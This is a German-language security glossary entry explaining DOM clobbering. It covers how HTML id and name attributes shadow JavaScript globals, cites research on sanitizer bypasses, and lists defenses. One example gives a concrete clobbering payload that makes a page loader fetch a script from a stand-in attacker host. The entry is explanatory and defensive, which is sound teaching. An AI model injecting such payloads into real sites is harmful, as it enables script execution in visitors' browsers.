DOM Clobbering
Was ist DOM Clobbering?
DOM ClobberingA browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
● Beispiele
- 01
A markdown comment containing `<a id=config><a id=config name=url href=//evil>` causes the page's loader to fetch a script from evil.tld.
- 02
A 2023 DOMPurify advisory adds `id` and `name` attributes to the sanitizer's strip-list to defeat known DOM-clobbering gadget chains.
● Häufige Fragen
Was ist DOM Clobbering?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining. Es gehört zur Kategorie Anwendungssicherheit der Cybersicherheit.
Was bedeutet DOM Clobbering?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
Wie funktioniert DOM Clobbering?
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
Wie schützt man sich gegen DOM Clobbering?
Schutzmaßnahmen gegen DOM Clobbering kombinieren typischerweise technische Kontrollen und operative Praktiken, wie in der Definition oben beschrieben.
Welche anderen Bezeichnungen gibt es für DOM Clobbering?
Übliche alternative Bezeichnungen: HTML namespace pollution, Named-element global hijack.
● Verwandte Begriffe
- attacks№ 265
Cross-Site-Scripting (XSS)
Web-Schwachstelle, mit der Angreifer bösartige Skripte in Seiten injizieren, die andere Nutzer öffnen, sodass der Code im Browser des Opfers unter der Origin der Seite ausgeführt wird.
- attacks№ 1225
Stored XSS
Persistente Cross-Site-Scripting-Schwachstelle: vom Angreifer eingeschleuster Code wird serverseitig gespeichert und im Browser jedes Besuchers ausgeführt.
- appsec№ 237
Content Security Policy (CSP)
HTTP-Antwort-Header, der dem Browser mitteilt, welche Quellen für Skripte, Styles, Frames und andere Inhalte erlaubt sind, und so XSS- und Datendiebstahlangriffe begrenzt.
- appsec№ 1302
Trusted Types
Browser-API und CSP-Direktive zur Verhinderung von DOM-basiertem XSS: gefahrliche DOM-Sinks akzeptieren nur typisierte, durch Policies gepruefte Werte statt roher Strings.
- appsec№ 599
Eingabevalidierung
Serverseitige Prüfung, ob jede unvertrauenswürdige Eingabe vor der Verarbeitung dem erwarteten Typ, Längen-, Wert-, Format- und Wertebereich entspricht.
- appsec№ 866
Ausgabeencodierung
Umwandlung unvertrauenswürdiger Daten in eine für einen bestimmten Ausgabekontext (HTML, JavaScript, URL, SQL, Shell) sichere Form, sodass sie nicht ausbrechen und als Code ausgeführt werden.